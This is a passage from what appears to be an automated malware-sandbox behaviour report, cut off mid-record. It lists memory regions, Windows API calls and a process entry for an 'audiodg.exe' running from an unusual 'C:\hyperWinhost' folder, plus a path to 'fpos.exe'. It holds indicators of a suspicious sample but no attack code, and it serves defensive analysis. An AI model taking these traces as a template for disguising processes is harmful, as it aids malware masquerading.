Region: id = 9358 start_va = 0x350000 end_va = 0x394fff monitored = 0 entry_point = 0x351064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9359 start_va = 0x350000 end_va = 0x394fff monitored = 0 entry_point = 0x351064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9433 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9434 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9475 start_va = 0x1b3e0000 end_va = 0x1b4dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3e0000" filename = "" Region: id = 9476 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9513 start_va = 0x1b7d0000 end_va = 0x1b8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b7d0000" filename = "" Region: id = 9514 start_va = 0x1b980000 end_va = 0x1ba7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b980000" filename = "" Region: id = 9515 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9516 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9539 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9547 start_va = 0x7fef1bd0000 end_va = 0x7fef283efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9566 start_va = 0x7fef5250000 end_va = 0x7fef5444fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9576 start_va = 0x7fef0b20000 end_va = 0x7fef1bc5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9592 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9613 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9717 start_va = 0x7fef8940000 end_va = 0x7fef8955fff monitored = 1 entry_point = 0x7fef894e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9718 start_va = 0x1ba80000 end_va = 0x1bd51fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9719 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 9720 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 9721 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 9722 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 9723 start_va = 0x350000 end_va = 0x35ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000350000" filename = "" Region: id = 9851 start_va = 0x360000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000360000" filename = "" Region: id = 9852 start_va = 0x370000 end_va = 0x37ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 9853 start_va = 0x380000 end_va = 0x38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000380000" filename = "" Region: id = 9854 start_va = 0x390000 end_va = 0x39ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000390000" filename = "" Region: id = 9855 start_va = 0x620000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000620000" filename = "" Region: id = 9856 start_va = 0x6b0000 end_va = 0x6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006b0000" filename = "" Region: id = 9857 start_va = 0x6c0000 end_va = 0x6cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006c0000" filename = "" Region: id = 9858 start_va = 0x6d0000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006d0000" filename = "" Region: id = 9859 start_va = 0x6e0000 end_va = 0x6effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006e0000" filename = "" Region: id = 9860 start_va = 0x6f0000 end_va = 0x6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 9899 start_va = 0xaa0000 end_va = 0xaaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000aa0000" filename = "" Region: id = 9900 start_va = 0xb50000 end_va = 0xbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b50000" filename = "" Region: id = 9901 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 9952 start_va = 0xac0000 end_va = 0xacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ac0000" filename = "" Region: id = 9953 start_va = 0xad0000 end_va = 0xadffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ad0000" filename = "" Region: id = 9954 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 9997 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 10113 start_va = 0xb00000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 10114 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 10115 start_va = 0xb20000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 10116 start_va = 0xb30000 end_va = 0xb3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b30000" filename = "" Region: id = 10117 start_va = 0xb40000 end_va = 0xb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 10118 start_va = 0xbd0000 end_va = 0xbdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 10119 start_va = 0xbe0000 end_va = 0xbeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000be0000" filename = "" Region: id = 10120 start_va = 0xbf0000 end_va = 0xbfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 10121 start_va = 0xc00000 end_va = 0xc0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c00000" filename = "" Region: id = 10122 start_va = 0xc10000 end_va = 0xc1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c10000" filename = "" Region: id = 10123 start_va = 0xc20000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c20000" filename = "" Region: id = 10124 start_va = 0xc30000 end_va = 0xc3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c30000" filename = "" Region: id = 10125 start_va = 0xc40000 end_va = 0xc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c40000" filename = "" Region: id = 10126 start_va = 0xc50000 end_va = 0xc5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 10127 start_va = 0xc60000 end_va = 0xc6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000c60000" filename = "" Region: id = 10240 start_va = 0xdf0000 end_va = 0xdfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000df0000" filename = "" Region: id = 10241 start_va = 0xe00000 end_va = 0xe0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e00000" filename = "" Region: id = 10242 start_va = 0xe10000 end_va = 0xe1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e10000" filename = "" Region: id = 10243 start_va = 0xe20000 end_va = 0xe2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e20000" filename = "" Region: id = 10244 start_va = 0xe30000 end_va = 0xe3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 10322 start_va = 0xbf0000 end_va = 0xc2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000bf0000" filename = "" Region: id = 10323 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 10324 start_va = 0x7fe94a90000 end_va = 0x7fe94a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a90000" filename = "" Region: id = 10369 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 10370 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 10371 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 10372 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 10423 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 10424 start_va = 0x130000 end_va = 0x13ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000130000" filename = "" Region: id = 10425 start_va = 0x140000 end_va = 0x14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 10426 start_va = 0x330000 end_va = 0x33ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000330000" filename = "" Region: id = 10462 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 10473 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 10489 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 10509 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Thread: id = 345 os_tid = 0x668 [0225.463] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0243.146] EtwEventRegister (in: ProviderId=0x23b5858, EnableCallback=0x1b18135c, CallbackContext=0x0, RegHandle=0x23b5838 | out: RegHandle=0x23b5838) returned 0x0 [0244.655] EtwEventRegister (in: ProviderId=0x23b9fe0, EnableCallback=0x1b1813ac, CallbackContext=0x0, RegHandle=0x23b9fc0 | out: RegHandle=0x23b9fc0) returned 0x0 [0246.353] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3e6880*=0xd8, lpdwindex=0x24e0f4 | out: lpdwindex=0x24e0f4) returned 0x0 [0248.323] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3e6880*=0xd8, lpdwindex=0x24e0f4 | out: lpdwindex=0x24e0f4) returned 0x0 [0267.537] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x1aba3740*=0x24, lpdwindex=0x24dde4 | out: lpdwindex=0x24dde4) returned 0x0 [0267.975] CoWaitForMultipleHandles (dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x3e6880*=0xd8, lpdwindex=0x24e0f4) Thread: id = 420 os_tid = 0x554 Thread: id = 428 os_tid = 0x7fc [0225.512] CoGetContextToken (in: pToken=0x1a9df700 | out: pToken=0x1a9df700) returned 0x800401f0 [0225.513] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 436 os_tid = 0x804 Thread: id = 463 os_tid = 0x87c [0245.721] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0245.722] CoGetContextToken (in: pToken=0x1b36f7f0 | out: pToken=0x1b36f7f0) returned 0x0 [0245.722] CObjectContext::QueryInterface () returned 0x0 [0245.722] CObjectContext::GetCurrentThreadType () returned 0x0 [0245.722] Release () returned 0x0 [0245.723] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0245.723] CoUninitialize () [0258.643] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x1b36dc28 | out: phkResult=0x1b36dc28*=0x0) returned 0x2 [0258.643] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0258.649] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Application Data\\fpos.exe", nBufferLength=0x105, lpBuffer=0x1b36e760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Application Data\\fpos.exe", lpFilePart=0x0) returned 0x2c Thread: id = 464 os_tid = 0x880 Thread: id = 485 os_tid = 0x8d4 Thread: id = 514 os_tid = 0x950 Thread: id = 515 os_tid = 0x954 Thread: id = 526 os_tid = 0x980 [0248.632] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0248.633] CoGetContextToken (in: pToken=0x1ba7f950 | out: pToken=0x1ba7f950) returned 0x0 [0248.633] CObjectContext::QueryInterface () returned 0x0 [0248.633] CObjectContext::GetCurrentThreadType () returned 0x0 [0248.633] Release () returned 0x0 [0248.633] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0248.633] CoUninitialize () Thread: id = 551 os_tid = 0x9ec Process: id = "89" image_name = "audiodg.exe" filename = "c:\\hyperwinhost\\audiodg.exe" page_root = "0x77962000" os_pid = "0x680" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "76" os_parent_pid = "0x4d8" cmd_line = "C:\\hyperWinhost\\audiodg.exe " cur_dir = "C:\\Windows\\system32\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fea5" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 7495 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 7496 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 7497 start_va = 0xb0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 7498 start_va = 0x1f0000 end_va = 0x2c7fff monitored = 1 entry_point = 0x2bf1ee region_type = mapped_file name = "audiodg.exe" filename = "\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe") Region: id = 7499 start_va = 0x77810000 end_va = 0x779b8fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 7500 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 7501 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 7502 start_va = 0x7feffb30000 end_va = 0x7feffb30fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 7503 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 7504 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 7505 start_va = 0x7fffffde000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 7506 start_va = 0x2d0000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 7507 start_va = 0x7fefa8a0000 end_va = 0x7fefa90efff monitored = 1 entry_point = 0x7fefa8a1134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 7508 start_va = 0x775f0000 end_va = 0x7770efff monitored = 0 entry_point = 0x77605340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 7509 start_va = 0x7fefd810000 end_va = 0x7fefd87bfff monitored = 0 entry_point = 0x7fefd812780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 7519 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 7520 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 7521 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 7522 start_va = 0x40000 end_va = 0xa6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 7523 start_va = 0x370000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 7524 start_va = 0x370000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 7525 start_va = 0x500000 end_va = 0x50ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000500000" filename = "" Region: id = 7526 start_va = 0x510000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 7658 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7659 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7660 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7661 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7662 start_va = 0x1b0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 7663 start_va = 0x510000 end_va = 0x60ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000510000" filename = "" Region: id = 7664 start_va = 0x660000 end_va = 0x6dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000660000" filename = "" Region: id = 7665 start_va = 0x7fef7fc0000 end_va = 0x7fef8068fff monitored = 1 entry_point = 0x7fef7fc1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7820 start_va = 0x7fefa890000 end_va = 0x7fefa892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7883 start_va = 0x7fefdef0000 end_va = 0x7fefdf60fff monitored = 0 entry_point = 0x7fefdf01e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7884 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7885 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7886 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7887 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7909 start_va = 0x470000 end_va = 0x498fff monitored = 0 entry_point = 0x471010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7910 start_va = 0x6e0000 end_va = 0x867fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000006e0000" filename = "" Region: id = 7911 start_va = 0x470000 end_va = 0x498fff monitored = 0 entry_point = 0x471010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7912 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7913 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8098 start_va = 0x870000 end_va = 0x9f0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000870000" filename = "" Region: id = 8099 start_va = 0xa00000 end_va = 0x1dfffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000a00000" filename = "" Region: id = 8100 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8101 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 8102 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 8103 start_va = 0x1e00000 end_va = 0x1ed0fff monitored = 1 entry_point = 0x1ecf1ee region_type = mapped_file name = "audiodg.exe" filename = "\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe") Region: id = 8273 start_va = 0x1e00000 end_va = 0x1ed0fff monitored = 1 entry_point = 0x1ecf1ee region_type = mapped_file name = "audiodg.exe" filename = "\\hyperWinhost\\audiodg.exe" (normalized: "c:\\hyperwinhost\\audiodg.exe") Region: id = 8274 start_va = 0x7fefc920000 end_va = 0x7fefc92bfff monitored = 0 entry_point = 0x7fefc921064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8290 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8339 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8495 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8496 start_va = 0x7fef3f00000 end_va = 0x7fef3f15fff monitored = 0 entry_point = 0x7fef3f0c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8497 start_va = 0x7fef3e40000 end_va = 0x7fef3efcfff monitored = 0 entry_point = 0x7fef3ec7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8498 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001c0000" filename = "" Region: id = 8587 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 8588 start_va = 0x2d0000 end_va = 0x2dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002d0000" filename = "" Region: id = 8589 start_va = 0x2f0000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 8590 start_va = 0x7fe948b0000 end_va = 0x7fe948bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948b0000" filename = "" Region: id = 8591 start_va = 0x7fe948c0000 end_va = 